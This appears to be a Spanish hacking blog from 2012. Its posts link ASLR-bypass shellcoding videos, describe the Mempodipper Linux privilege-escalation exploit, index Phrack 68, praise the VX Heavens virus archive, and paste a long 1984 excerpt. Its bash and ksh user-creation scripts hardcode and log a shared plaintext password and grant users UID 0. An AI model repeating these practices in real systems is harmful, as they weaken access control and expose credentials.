ip information

~ Si me quieres escribir, ya sabes mi paradero ~

~ TOC [Table Of Contents] ~

miércoles, 30 de mayo de 2012

Algunos hackers buenos

Agradable lectura de la periodista Mercé Molist en Por que me enamore de los hackers

Se esta escribiendo un libro (bueno, seran 4) hackstory

domingo, 15 de abril de 2012

ASM/Shellcoding Series III y IV

Hola Exploiters,

Tras mas de 1 año de paron en ver la luz, por falta total de tiempo estuvo totalmente parado hasta que lo retome hace un mes aproximadamente y tras ajustar ciertos payloads (fue escrito para una Backtrack 4 R1, y despues adaptado a una Backtrack 5 R1 y BT5-R2) acabo de liberar la Tercera y Cuarta entrega de las ASM/Shellcoding Series.

Podeis descargarlo de la wiki xchg ax, ax y el enlace directo es ASM / Shellcoding Series IV ~ Bypassing local Linux x86 ASLR protection revisited

Y para los que no querais bajaros el video de la wiki, hace 1 año lo subi a Youtube. ASLR bypass Linux/x86 ret2eax Classical SUID privilege elevation. Asi pues, la elevacion de privilegios mas clasica, explotar un binario SUID vulnerable inyectando un shellcode setuid(0) + execve en tiempo de ejecucion. De vlan7 a root.

Y de golpe la tercera entrega: ASM / Shellcoding Series III ~ Bypassing Remote Linux x86 ASLR protection

Enjoy!

sábado, 14 de abril de 2012

Daily news! Phrack 68 is out!!!

Tras año y medio de espera acaba de salir otro excelente numero de la mejor revista de hacking del mundo. Hoy se ha liberado el numero 68 de la Phrack.

Indice

01. Introduction – The Phrack Staff
02. Phrack Prophile on FX – The Phrack Staff
03. Phrack World News – TCLH
04. Linenoise – various
05. Loopback – The Phrack Staff
06. Android Kernel Rootkit – dong-hoon you
07. Happy Hacking – anonymous author
08. Practical cracking of white-box implementations – sysk
09. Single Process Parasite – Crossbower
0A. Pseudomonarchia jemallocum – argp & huku
0B. Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x – styx^
0C. The Art of Exploitation: MS IIS 7.5 Remote Heap Overflow – redpantz
0D. The Art of Exploitation: Exploiting VLC, a jemalloc case study – huku & argp
0E. Secure Function Evaluation vs. Deniability in OTR and similar protocols – greg
0F. Similarities for Fun and Profit – Pouik & G0rfi3ld
10. Lines in the Sand: Which Side Are You On in the Hacker Class War – anonymous author
11. Abusing Netlogon to steal an Active Directory’s secrets - the p1ckp0ck3t
12. 25 Years of SummerCon – Shmeck - Shmeck
13. International Scenes – various

La podras descargar desde http://www.phrack.org/archives/tgz/phrack68.tar.gz pero aun no esta disponible asi que a leer en linea toca.

Veo que sigue habiendo articulos de Exploiting. Muy bien. Asi si. Asi si.

Y tambien un articulo para relajarse

File: archives/68/p68_0x07_Happy Hacking_by_anonymous author.txt                              ==Phrack Inc.==

                Volume 0x0e, Issue 0x44, Phile #0x07 of 0x13

|=-----------------------------------------------------------------------=|
|=-------------------------=[ Happy Hacking ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ by Anonymous ]=---------------------------=|
|=-----------------------------------------------------------------------=|
http://www.phrack.org/issues.html?issue=68&id=7&mode=txt

JMP 3
--[ 3 - The Security Industry

In recent years I've seen how many hackers join the information security industry and many of them having the illusion that hacking as their day job will bring them a great deal of happiness. After a couple of years they discover they no longer enjoy hacking, that those feelings they used to have in the old days are no longer there, and they decide to blame the hacking scene, often condemning it as "being dead".

I'll try to explain this behavior from the science of happiness point of view.

Let me start by looking at Journalism. The science of happiness has shown that people are happy in a profession where:

  - "Doing good (high quality work) matches with doing well (achieving wealth and professional advancement) in the field." -

Journalism is one of those careers where doing good (making the world better by promoting democracy and free press) doesn't usually lead to rising as a journalist. Julian Assange, the chief editor of Wikileaks, is a pretty obvious example of this. By firmly believing in free press he has brought upon himself a great deal of trouble. In contrast, being manipulative and exaggerating news often leads to selling more news, which in turn allows for the sales of more ads, which correlates to doing well. But by doing so, journalists have to compromise their beliefs, which ultimately makes their happiness levels go down. Those who decide not to compromise feel angry at their profession when they see those who cheat and compromise rise high. This feeling also leads to their happiness levels to drop. Journalism is therefore one of those professions where its practitioners tend to be the most unhappy.

Hacking on the other hand doesn't suffer from this issue. In the hacking scene doing great work is often recognized and admired. Those hackers that are able to write that exploit thought to be impossible, or find that unbelievably complex vulnerability, are recognized and praised by the community. Also, many hackers tend to develop great tools which are often released as open source. The open source community shares a lot of properties with the hacking community. It is not hard to see why people enjoy developing open source projects so much. Most open source projects are community organizations lead by meritocracy; where the best programmers can quickly escalate the ranks by writing great code. Furthermore, the idea of making the code and the underlying designs widely available gives participants a feeling of fulfillment as they are not doing this for profit but to contribute to a better world. These ideals have also been an integral part of the hacking community where one of its mottos is, "Knowledge should be free, information should be free". Being part of such communities brings a wealth of happiness, and is the reason why these communities flourished without the need for any economic incentives.

Recent years however have brought the security industry closer to the hacking industry. Many hacking scene members have become security industry members once their responsibilities demanded more money (e.g. married with kids and a mortgage). For them it seemed like the right fit and the perfect job was to hack for a living.

However, the security industry does not have the same properties as the hacking or open source communities. The security industry is much more like the journalism industry.

The main difference between the hacking community and the security industry is about the consumers of the security industry. While in the hacking community the consumers are hackers themselves, in the security industry the consumers are companies and other entities that don't have the same behavior as hackers. The behavior of the security industry consumers is similar to the behavior of the consumers of journalism. This is because these companies are partially a subset of the consumers of journalism. These consumers do not judge work as hackers do; instead they are more ignorant and have a different set of criteria to judge work quality.

viernes, 13 de abril de 2012

La Enciclopedia de Wadalbertia

Manifiesto de la Nación Wadalbertita

Es una tierra fértil, las hortalizas crecen sin límite, incluso aquellas que residen en el Sector 4.

Somos miles, número expresado en Base64, no somos hexadecimales ni digitales, somos hexadigitales, disponemos de técnicas de intrusión inigualables, en el ataque somos despiadados, si alguien nos ofende: no le mandamos un DoS, sino que le enviamos todo un Windows 3.11 debidamente empaquetado y listo para tumbar al más pintado.

Nuestro defensor, un Paladín invisible y transparente, cruzado de las causas nobles que con sus teclas afiladas es capaz de expulsar los demonios y otros cuerdos que osen llegar a nuestra tierra e intenten imponer la cordura.

Si Velázquez fuese contemporáneo, pintaría la Rendición de Redmon, a modo de aquel otro famoso cuadro más conocido como el de las Lanzas.Verdi, Bizet e incluso el mismísimo Mascagni con su "Cavalleria Rusticana" sucumbirían ante nuestros cánticos, los tres tenores pondrán su voz al ritmo de trompetas y clarinetes de nuestro himno.

Somos osados, tenemos narices, parafraseando a Quevedo (otro ilustre wadalbertista) las Doce Tribus de narices somos y si alguien ofende o molesta, no hacemos nada, que se defienda él solito, no vaya a ser que luego nos culpen.

El prozac es nuestro siervo, existe para nuestra felicidad, lo tomamos ingeniosamente y sin mesura.

Tenemos un diseño vanguardista, están con nos el terror de los Jedai, nuestras costas son defendidas por naves vikingas y somos dueños de la mayor jauría canina conocida.

Somos legión, disponemos de los mejores narradores de epopeyas épicas y fábulas del IRC hispano, tenemos calaveras que se desvanecen y reaparecen de la nada, serpientes y demás ofidios, un ejército de pingüinos siempre listo para el ataque, la gaseosa es nuestra bebida tradicional, entes y entelequias nos respaldan, hasta somos poseedores del Carro de Manolo Escobar, con el cual paseamos en Romería el día de la Nación Wadalbertiana.

Nuestros recursos son inagotables, hablamos todas las lenguas y nuestra escritura es cuneiforme, cóncava y puntiaguda y Las leyes de la física no nos afectan.

Tiembla Intenné, la Nación Wadalbertista está armada, nada puede con ella, ni los super j4ch0r son capaces de entender nuestra realidad ilógica, tenemos ingenieros inversos, tanto en su conocimiento como en su sexo, nada nos puede parar.

Nuestro himno: una melodía, nuestra religión: el placer, nuestro símbolo: un embudo


http://enciclopedia.wadalbertia.org
Wadalbertia. La Intesné es Nuestra.

domingo, 8 de abril de 2012

VX Heavens, old-school virus-writing website, raided by police

http://vx.netlux.org/index.html

Esto, en mi opinion, es mas grave que megaupload.

Que yo sepa algo aceptado en VX Heavens era que los virus no llevaran mas payload que la propia rutina de infeccion en si (engordar en pocos KB ejecutables). Por otra parte, la mayoria de virus que ahi se analizaban desde hace años son de la era del DOS.

La guerra es la paz.

Viruses don't harm, ignorance does!
"Everyone has the right to freedom of opinion and expression;
this right includes freedom to hold opinions without interference
and to seek, receive and impart information and ideas through
any media and regardless of frontiers." 
Article 19 of "Universal Declaration of Human Rights"

Welcome to VX Heavens! This site is dedicated to providing information about computer viruses (or virii, as some would prefer) to anyone who is interested in this topic.

This site contains a massive, continuously updated collection of magazines, virus samples, virus sources, polymorphic engines, virus generators, virus writing tutorials, articles, books, news archives etc. Even the viruses for the platforms you've never heard of. We also offer free hosting for virus authors and groups.

Some of you might reasonably say that it is illegal to offer such content on the net. Or that this information can be misused by "malicious people". I only want to ask that person: "Is ignorance a defence?"

viernes, 6 de abril de 2012

I don't need overbloated SW like camtasia studio to record my screen

If you don't like it, please don't lose your time. Thanks!

jueves, 5 de abril de 2012

main() { printf("hello, world\n"); }

<vlan7> Oiga, que tengo un localizador pa ***
<RENFE> Si, esas maquinas de ahi
<vlan7> Ok, pero las de media distancia estan mal configuradas
<RENFE> ¿Como dice?
<vlan7> Si mire, que se puede fisgar todo lo confidencial vuestro.
<RENFE> Ah no se, yo no llevo esas maquinas...
; Hello RENFE in Assembler for the ZX81 (Zilog Z80)

CALL SPRINT
DEFM HELLO RENFE.
DEFB FF
RET
SPRINT POP HL
LD A,(HL)
INC HL
PUSH HL
CP FF
RET Z
CALL PRINT
JR SPRINT


sábado, 25 de febrero de 2012

scapy fools nmap

¿Que puerto esta realmente abierto en la cortina de humo?

Ensamblador para x64

En este hilo de Overflowed Minds tenemos una playlist con 46 videos de buen ASM para x64 que seguro que aclara muchos conceptos a la hora de desarrollar shellcodes para esta arquitectura.

Tambien info para poder bajarte todos los videos de esa y cualquier playlist de Youtube de una forma rapida.

Enjoy!

jueves, 23 de febrero de 2012

Hijos Digitales

Bueno, los folks del S2 Grupo que llevan desde hace años el blog tecnico Security A(r)t Work que leo siempre que puedo y por eso esta puesto en mi Blogroll, tienen un proyecto paralelo en mi opinion incluso mas necesario que el blog hermano mayor.

Se llama Hijos Digitales y su peso en oro radica en dar consejos practicos de seguridad no solo hacia los mas pequeños, sino hacia el usuario comun. Sin divagaciones tecnicas que a algunos es lo que nos gusta, pero de cara al usuario la realidad es que no sirven mas que para aburrirle o confundirle. Como cuando personas tecnicas tenemos que leer de leyes y aquello nos parece un toston que no hay por donde cogerlo.

Muy interesante, es complicado encontrar informacion sin entrar en tecnicismos (pecamos nosotros) ni sensacionalismos (medios de comunicacion), que al final es lo que puede interesar a un usuario de a pie: consejos practicos y punto. Y no solo de seguridad sino cosas realmente utiles para sacar provecho de verdad a la red.

No hay lenguaje sin registro...

jueves, 9 de febrero de 2012

-Tenemos que vernos otro día -dijo Winston. -Sí, tenemos que vemos-dijo ella.


Le pasó aquel sobresalto. Volvió a poner la pieza en su sitio, pero por un instante no pudo concentrarse en el problema de ajedrez. Sus pensamientos volvieron a vagar. Casi conscientemente trazó con su dedo en el polvo de la mesa:

2 + 2 =

«Dentro de ti no pueden entrar nunca», le había dicho Julia. Pues, sí, podían penetrar en uno. «Lo que te ocurre aquí es para siempre», le había dicho O¹Brien. Eso era verdad. Había cosas, los actos propios, de las que no era posible rehacerse. Algo moría en el interior de la persona; algo se quemaba, se cauterizaba. Winston la había visto, incluso había hablado con ella. Ningún peligro había en esto. Winston sabía instintivamente que ahora casi no se interesaban por lo que él hacía. Podía haberse citado con ella si lo hubiera deseado. Esa única vez se habían encontrado por casualidad. Fue en el Parque, un día muy desagradable de marzo en que la tierra parecía hierro y toda la hierba había muerto. Winston andaba rápidamente contra el viento, con las manos heladas y los ojos acuosos, cuando la vio a menos de diez metros de distancia. Enseguida le sorprendió que había cambiado de un modo indefinible. Se cruzaron sin hacerse la menor señal. Él se volvió y la siguió, pero sin un interés desmedido. Sabía que ya no había peligro, que nadie se interesaba por ellos. Julia no le hablaba. Siguió andando en dirección oblicua sobre el césped, como si tratara de librarse de él, y luego pareció resignarse a llevarlo a su lado. Por fin, llegaron bajo unos arbustos pelados que no podían servir ni para esconderse ni para protegerse del viento. Allí se detuvieron. Hacía un frío molestísimo. El viento silbaba entre las ramas. Winston le rodeó la cintura con un brazo

No había telepantallas, pero debía de haber micrófonos ocultos. Además, podían verlos desde cualquier parte. No importaba; nada importaba. Podrían haberse echado sobre el suelo y hacer eso si hubieran querido. Su carne se estremeció de horror tan sólo al pensarlo. Ella no respondió cuando la agarró del brazo, ni siquiera intentó desasirse. Ya sabía Winston lo que había cambiado en ella. Tenía el rostro más demacrado y una larga cicatriz, oculta en parte por el cabello, le cruzaba la frente y la sien; pero el verdadero cambio no radicaba en eso. Era que la cintura se le había ensanchado mucho y toda ella estaba rígida. Recordó Winston como una vez después de la explosión de una bomba cohete había ayudado a sacar un cadáver de entre unas ruinas y le había asombrado no sólo su increíble peso, sino su rigidez y lo dificil que resultaba manejarlo, de modo que más parecía piedra que carne. El cuerpo de Julia le producía ahora la misma sensación. Se le ocurrió pensar que la piel de esta mujer sería ahora de una contextura diferente.

No intentó besarla ni hablaron. Cuando marchaban juntos por el césped, lo miró Julia a la cara por primera vez. Fue sólo una mirada fugaz, llena de desprecio y de repugnancia. Se preguntó Winston si esta aversión procedía sólo de sus relaciones pasadas, o si se la inspiraba también su desfigurado rostro y el agüilla que le salía de los ojos. Sentáronse en dos sillas de hierro uno al lado del otro, pero no demasiado juntos. Winston notó que Julia estaba a punto de hablar. Movió unos cuantos centímetros el basto zapato y aplastó con él una rama. Su pie parecía ahora más grande, pensó Winston. Julia, por fin, dijo sólo esto:

-Te traicioné.

-Yo también te traicioné -dijo él.

Julia lo miró otra vez con disgusto. Y dijo:

-A veces te amenazan con algo..., algo que no puedes soportar, que ni siquiera puedes imaginarte sin temblar. Y entonces dices: «No me lo hagas a mí, házselo a otra persona, a Fulano de Tal». Y quizá pretendas, más adelante, que fue sólo un truco y que lo dijiste únicamente para que dejaran de martirizarte y que no lo pensabas de verdad. Pero, no. Cuando ocurre eso se desea de verdad y se desea que a la otra persona se lo hicieran. Crees entonces que no hay otra manera de salvarte y estás dispuesto a salvarte así. Deseas de todo corazón que eso tan terrible le ocurra a la otra persona y no a ti. No te importa en absoluto lo que pueda sufrir. Sólo te importas entonces tú mismo.

-Sólo te importas entonces tú mismo -repitió Winston como un eco.

-Y después de eso no puedes ya sentir por la otra persona lo mismo que antes.

-No -dijo él-, no se siente lo mismo.

No parecían tener más que decirse. El viento les pegaba a los cuerpos sus ligeros «monos». A los pocos instantes les producía una sensación embarazoso seguir allí callados. Además, hacía demasiado frío para estarse quietos. Julia dijo algo sobre que debía coger el Metro y se levantó para marcharse.

-Tenemos que vernos otro día -dijo Winston.

-Sí, tenemos que vemos-dijo ella.

Winston, irresoluto, la siguió un poco. Iba a unos pasos detrás de ella. No volvieron a hablar. Aunque Julia no le dijo que se apartara, andaba muy rápida para evitar que fuese junto a ella. Winston se había decidido a acompañarla a la estación del Metro, pero de repente se le hizo un mundo tener que andar con tanto frío. Le parecía que aquello no tenía sentido. No era tanto el deseo de apartarse de Julia como el de regresar al café lo que le impulsaba, pues nunca le había atraído tanto El Nogal como en este momento. Tenía una visión nostálgica de su mesa del rincón, con el periódico, el ajedrez y la ginebra que fluía sin cesar. Sobre todo, allí haría calor. Por eso, poco después y no sólo accidentalmente, se dejó separar de ella por una pequeña aglomeración de gente. Hizo un desganado intento de volver a seguirla, pero disminuyó el paso y se volvió, marchando en dirección opuesta. Cinco metros más allá se volvió a mirar. No había demasiada circulación, pero ya no podía distinguirla. Julia podría haber sido cualquiera de doce figuras borrosas que se apresuraban en dirección al Metro. Es posible que no pudiera reconocer ya su cuerpo tan deformado.

«Cuando ocurre eso, se desea de verdad», y él lo había pensado en serio. No solamente lo había dicho, sino que lo había deseado. Había deseado que fuera ella y no él quien tuviera que soportar a las...

Se produjo un sutil cambio en la música que brotaba de la telepantalla. Apareció una nota humorística, «la nota amarilla». Una voz quizá no estuviera sucediendo de verdad, sino que fuera sólo un recuerdo que tomase forma de sonido cantaba:

Bajo el Nogal de las ramas extendidas

yo te vendí y tu me vendiste.

Winston tenía los ojos más lacrimosos que de costumbre. Un camarero que pasaba junto a él vio que tenía vacío el vaso y volvió a llenárselo de la botella de ginebra.

Winston olió el líquido. Aquello estaba más repugnante cuanto más lo bebía, pero era el elemento en que él nadaba. Era su vida, su muerte y su resurrección. La ginebra lo hundía cada noche en un sopor animal, y también era la ginebra lo que le hacía revivir todas las mañanas. Al despertarse rara vez antes de las once con los párpados pegajosos, una boca pastosa y la espalda que parecía habérsele partido le habría sido imposible echarse abajo de la cama si no hubiera tenido siempre en la mesa de noche la botella de ginebra y una taza. Durante la mañana se quedaba escuchando la telepantalla con una expresión pétrea y la botella siempre a mano. Desde las quince hasta la hora de cerrar, se pasaba todo el tiempo en El Nogal. Nadie se preocupaba de lo que hiciera, no le despertaba ningún silbato ni le dirigía advertencias la telepantalla. Dos veces a la semana iba a un despacho polvoriento, que parecía un rincón olvidado, en el Ministerio de la Verdad, y trabajaba un poco, si a aquello podía llamársele trabajo. Había sido nombrado miembro de un subcomité de otro subcomité que dependía de uno de los innumerables subcomités que se ocupaban de las dificultades de menos importancia planteadas por la preparación de la onceava edición del Diccionario de Neolengua. En aquel despacho se dedicaban a redactar algo que llamaban el informe provisional, pero Winston nunca había llegado a enterarse de qué tenían que informar. Tenía alguna relación con la cuestión de si las comas deben ser colocadas dentro o fuera de las comillas. Había otros cuatro en el subcomité, todos en situación semejante a la de Winston. Algunos días se marchaban apenas se habían reunido después de reconocer sinceramente que no había nada que hacer. Pero otros días se ponían a trabajar casi con encarnizamiento haciendo grandes alardes de aprovechamiento del tiempo redactando largos informes que nunca terminaban. En esas ocasiones discutían sobre cual era el asunto sobre cuya discusión se les había encargado y esto les llevaba a complicadas argumentaciones y sutiles distingos con interminables digresiones, peleas, amenazas e incluso recurrían a las autoridades superiores. Pero de pronto parecía retirárselas la vida y se quedaban inmóviles en torno a la mesa mirándose unos a otros con ojos apagados como fantasmas que se esfuman con el canto del gallo.

La telepantalla estuvo un momento silenciosa. Winston levantó la cabeza otra vez. ¡El comunicado! Pero no, sólo era un cambio de música. Tenía el mapa de África detrás de los párpados, el movimiento de los ejércitos que él imaginaba era este diagrama; una flecha negra dirigiéndose verticalmente hacia el Sur y una flecha blanca en dirección horizontal, hacia el Este, cortando la cola de la primera. Como para darse ánimos, miró el imperturbable rostro del retrato. ¿Podía concebirse que la segunda flecha no existiera?

Volvió a aflojársela el interés. Bebió más ginebra, cogió la pieza blanca e hizo un intento de jugada. Pero no era aquélla la jugada acertada, porque...

Sin quererlo, le flotó en la memoria un recuerdo. Vio una habitación iluminada por la luz de una vela con una gran cama de madera clara y él, un chico de nueve o diez años que estaba sentado en el suelo agitando un cubilete de dados y riéndose excitado. Su madre estaba sentada frente a él y también se reía. Aquello debió de ocurrir un mes antes de desaparecer ella. Fueron unos momentos de reconciliación en que Winston no sentía aquel hambre imperiosa y le había vuelto temporalmente el cariño por su madre. Recordaba bien aquel día, un día húmedo de lluvia continua. El agua chorreaba monótona por los cristales de las ventanas y la luz del interior era demasiado débil para leer. El aburrimiento de los dos niños en la triste habitación era insoportable. Winston gimoteaba, pedía inútilmente que le dieran de comer, recorría la habitación revolviéndolo todo y dando patadas hasta que los vecinos tuvieron que protestar. Mientras, su hermanita lloraba sin parar. Al final le dijo su madre: «Sé bueno y te compraré un juguete. Sí, un juguete precioso que te gustará mucho». Y había salido a pesar de la lluvia para ir a unos almacenes que estaban abiertos a esa hora y volvió con una caja de cartón conteniendo el juego llamado «De las serpientes y las escaleras». Era muy modesto. El cartón estaba rasgado y los pequeños dados de madera, tan mal cortados que apenas se sostenían. Winston recordaba el olor a humedad del cartón. Había mirado el juego de mal humor. No le interesaba gran cosa. Pero entonces su madre encendió una vela y se sentaron en el suelo a jugar. Jugaron ocho veces ganando cuatro cada uno. La hermanita, demasiado pequeña para comprender de qué trataba el juego, miraba y se reía porque los veía reír a ellos dos. Habían pasado la tarde muy contentos, como cuando él era más pequeño.

Apartó de su mente estas imágenes. Era un falso recuerdo. De vez en cuando le asaltaban falsos recuerdos. Esto no importaba mientras que se supiera lo que era. Winston volvió a fijar la atención en el tablero de ajedrez, pero casi en el mismo instante dio un salto como si lo hubieran pinchado con un alfiler.

Un agudo trompetazo perforó el aire. Era el comunicado, ¡victoria!; siempre significaba victoria la llamada de la trompeta antes de las noticias. Una especie de corriente eléctrica recorrió a todos los que se hallaban en el café. Hasta los camareros se sobresaltaron y aguzaron el oído.

La trompeta había dado paso a un enorme volumen de ruido. Una voz excitada gritaba en la telepantalla, pero apenas había empezado fue ahogada por una espantosa algarabía en las calles. La noticia se había difundido como por arte de magia. Winston había oído lo bastante para saber que todo había sucedido como él lo había previsto: una inmensa armada, reunida secretamente, un golpe repentino a la retaguardia del enemigo, la flecha blanca destrozando la cola de la flecha negra. Entre el estruendo se destacaban trozos de frases triunfales: «Amplia maniobra estratégica... perfecta coordinación... tremenda derrota medio millón de prisioneros... completa desmoralización... controlamos el África entera. La guerra se acerca a su final... victoria... la mayor victoria en la historia de la Humanidad. ¡Victoria, victoria, victoria!».

Bajo la mesa, los pies de Winston hacían movimientos convulsivos. No se había movido de su asiento, pero mentalmente estaba corriendo, corriendo a vertiginosa velocidad, se mezclaba con la multitud, gritaba hasta ensordecer. Volvió a mirar el retrato del Gran Hermano. ¡Aquél era el coloso que dominaba el mundo! ¡La roca contra la cual se estrellaban en vano las hordas asiáticas! Recordó que sólo hacía diez minutos. sí, diez minutos tan sólo todavía se equivocaba su corazón al dudar si las noticias del frente serían de victoria o de derrota. ¡Ah, era más que un ejército eurasiático lo que había perecido! Mucho había cambiado en él desde aquel primer día en el Ministerio del Amor, pero hasta ahora no se había producido la cicatrización final e indispensable, el cambio salvador. La voz de la telepantalla seguía enumerando el botín, la matanza, los prisioneros, pero la gritería callejera había amainado un poco. Los camareros volvían a su trabajo. Uno de ellos acercó la botella de ginebra. Winston, sumergido en su feliz ensueño, no prestó atención mientras le llenaban el vaso. Ya no se veía corriendo ni gritando, sino de regreso al Ministerio del Amor, con todo olvidado, con el alma blanca como la nieve. Estaba confesándolo todo en un proceso público, comprometiendo a todos. Marchaba por un claro pasillo con la sensación de andar al sol y un guardia armado lo seguía. La bala tan esperada penetraba por fin en su cerebro.

Contempló el enorme rostro. Le había costado cuarenta años saber qué clase de sonrisa era aquella oculta bajo el bigote negro. ¡Qué cruel e inútil incomprensión! ¡Qué tozudez la suya exilándose a sí mismo de aquel corazón amante! Dos lágrimas, perfumadas de ginebra, le resbalaron por las mejillas. Pero ya todo estaba arreglado, todo alcanzaba la perfección, la lucha había terminado. Se había vencido a sí mismo definitivamente. Amaba al Gran Hermano.

domingo, 29 de enero de 2012

Aprendiendo a hacer exploits

En el mejor foro de seguridad del mundo, un hilo cuyo titulo es Syscall a exit(0) ASM incrustada en C. Problema de segfault..

Enjoy!

sábado, 28 de enero de 2012

Correos de los diputados que tienen voz sobre ACTA

Nunca acabareis con nosotros.

Overflowed Minds hacks your mind!

miércoles, 25 de enero de 2012

Codigo para evadir EMET

Se bienvenido a Overflowed Minds!

martes, 24 de enero de 2012

Linux Local Privilege Escalation via SUID /proc/pid/mem Write

http://blog.zx2c4.com/749

Introducing Mempodipper, an exploit for CVE-2012-0056. /proc/pid/mem is an interface for reading and writing, directly, process memory by seeking around with the same addresses as the process’s virtual memory space. In 2.6.39, the protections against unauthorized access to /proc/pid/mem were deemed sufficient, and so the prior #ifdef that prevented write support for writing to arbitrary process memory was removed. Anyone with the correct permissions could write to process memory. It turns out, of course, that the permissions checking was done poorly. This means that all Linux kernels >=2.6.39 are vulnerable, up until the fix commit for it a couple days ago. Let’s take the old kernel code step by step and learn what’s the matter with it.

A falta de probarlo, tiene buena pinta.

Enjoy!

domingo, 25 de diciembre de 2011

Anonymous hackea una empresa de seguridad, roba un millon de dolares y lo dona a caridad

http://waronsociety.noblogs.org/?p=2686

Feliz navidad.

viernes, 2 de diciembre de 2011

Hacking QR codes



Jugando a poner logos personalizados dentro de un codigo QR de esos de los nuevos moviles. ¿Que pondra?

Un saludo.

sábado, 26 de noviembre de 2011

Exploit exercises

http://exploit-exercises.com/ Ya tengo diversion.

About Exploit Exercises

exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering.

Nebula takes the participant through a variety of common (and less than common) weaknesses and vulnerabilities in Linux. It takes a look at

SUID files
Permissions
Race conditions
Shell meta-variables
$PATH weaknesses
Scripting language weaknesses
Binary compilation failures
At the end of Nebula, the user will have a reasonably thorough understanding of local attacks against Linux systems, and a cursory look at some of the remote attacks that are possible.

Protostar introduces the following in a friendly way:

Network programming
Byte order
Handling sockets
Stack overflows
Format strings
Heap overflows
The above is introduced in a simple way, starting with simple memory corruption and modification, function redirection, and finally executing custom shellcode. Address Space Layout Randomisation and Non-Executable memory has been disabled.

Fusion is the next step from the protostar setup, and covers more advanced styles of exploitation, and covers a variety of anti-exploitation mechanisms such as:

Address Space Layout Randomisation
Position Independent Executables
Non-executable Memory
Source Code Fortification (_DFORTIFY_SOURCE=)
Stack Smashing Protection (ProPolice / SSP)
In addition to the above, there are a variety of other challenges and things to explore, such as:

Cryptographic issues
Timing attacks
Variety of network protocols (such as Protocol Buffers and Sun RPC)
At the end of Fusion, the participant will have a through understanding of exploit prevention strategies, associated weaknesses, various cryptographic weaknesses, numerous heap implementations.

A disfrutar.

jueves, 24 de noviembre de 2011

"Recuperando" archivos borrados con lsof

Hola,

Puede usarse el mitico lsof para recuperar archivos borrados. Por ejemplo, logs borrados en una maquina comprometida que aun estan siendo accedidos por su demonio correspondiente, un servidor Apache, etc.

En un terminal:
$ echo probando >basura7
$ less basura7

Y dejamos el less con el archivo abierto. Entonces en otro terminal:
$ rm basura7
$ ls basura7
/bin/ls: basura7: No such file or directory
$ lsof |grep basura7
less 14481 usuario 4r REG 8,1 9 2627682 /tmp/basura7 (deleted)
$ file /proc/14481/fd/4
/proc/14481/fd/4: broken symbolic link to `/tmp/basura7 (deleted)'
$ cat /proc/14481/fd/4
probando

El primer numero es el PID. El segundo el numero de descriptor de fichero donde ese proceso lo tiene abierto. Y ahi esta "recuperado" (entre comillas porque realmente nunca se borro del disco).

miércoles, 16 de noviembre de 2011

ksh / expect AIX create users

Hola,

Aqui dos scripts tontos en ksh para AIX que acabo de hacer por si le pueden servir a alguien. Uno crea todos los usuarios listados en el archivo de texto que se le pasa como argumento al script. En cada linea dos columnas, el user seguido del grupo principal al que debe pertenecer. El otro es un script expect que asigna una contraseña a los usuarios, pues el comando passwd de este AIX no tiene opcion -stdin.

3. Lo aburrido y rutinario es malo.

#!/usr/bin/ksh
PERS_HOME="/home/"
PASS="el_password"
PERS_SH="/usr/bin/ksh"
cat $1 | \while read USER GROUP
do
# Si ya existe el user
cut -d: -f1 /etc/passwd |grep ${USER} >/dev/null
OUT=$? if [[ ${OUT} -eq 0 ]] then
echo >&2 "ERROR: El usuario: ${USER} ya existe."
else
useradd -g ${GROUP} -m -d ${PERS_HOME}${USER} -s ${PERS_SH} ${USER}
./pass.exp ${USER} ${PASS}
# Forzar usuario a cambiar password en el siguiente inicio de sesion
pwdadm -f ADMCHG ${USER}
fi
done

pass.exp:

#!/usr/bin/expect
spawn passwd [lindex $argv 0]
set password [lindex $argv 1]
expect "password:"send "$password\r"
expect "password:" { send "$password\r" } \
"password again:" { send "$password\r" }
expect eof


3. Boredom and drudgery are evil.

Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work, because when this happens it means they aren't doing what only they can do: solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but actually evil.

To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers).

martes, 15 de noviembre de 2011

bash create users and make root a list of users (UID = 0)

Hola,

Aqui dos scripts tontos en bash que acabo de hacer por si le pueden servir a alguien. Uno crea todos los usuarios listados en el archivo de texto que se le pasa como argumento al script. El otro hace root a los usuarios definidos en el archivo de texto que tambien se pasa como argumento.

Evidentemente, yo implementaria sudo, pero a veces no depende de uno.

3. Lo aburrido y rutinario es malo.
#!/bin/bash
# create_users.sh v0.1 / vlan7 / 15-Nov-2011
# Crea users pasados en argumento como archivo de texto, un user por linea
# hay que ser root
if [ $EUID -ne 0 ]; then
echo "Este script solo puede ejecutarlo root" 1>&2
exit 1
fi

# vars
PERS_HOME="/home/"
PERS_SH="/bin/bash"
PASS="el_password"

# hay argumento?
[ $# -eq 0 ] && { echo >&2 ERROR: Debe introducir como argumento un txt con usuarios, uno por linea ; exit 1; }
# file exists?
[ -f "$1" ] || { echo >&2 ERROR: El archivo pasado como argumento no existe ; exit 1; }
NOW=$(date +"%Y-%m-%d-%X")
HOSTNAME=$(hostname)
LOGFILE="create_users_log-$HOSTNAME-$NOW.log"
TEMP_FILE=$(mktemp)
# remove duplicates & blank lines
awk ' !x[$0]++' $1 | grep -v '^$' >$TEMP_FILE
for user in $(cat $TEMP_FILE); do
# Si ya existe el user
cut -d: -f1 /etc/passwd | grep "$user" > /dev/null
OUT=$?
if [ $OUT -eq 0 ];then
echo >&2 "ERROR: El usuario: \"$user\" ya existe."
echo >&2 "ERROR: El usuario: \"$user\" ya existe." >> "$LOGFILE"
else
# Creamos nuevo user
/usr/sbin/useradd -d "$PERS_HOME""$user" -s "$PERS_SH" -m "$user"
# Asignamos passwd.
echo $PASS | passwd --stdin $user
# Forzamos cambio al primer logeo.
passwd -e $user
# grabamos user/pass en log
echo -e $user"\t"$PASS >> "$LOGFILE"
echo "El usuario \"$user\" ha sido creado y su password es: $PASS"
fi
done

#!/bin/bash
# mod_users.sh v0.1 / vlan7 / 15-Nov-2011
# Modifica users (hace UID=0) pasados en argumento como archivo de texto

# hay que ser root
if [ $EUID -ne 0 ]; then
echo "Este script solo puede ejecutarlo root" 1>&2
exit 1
fi

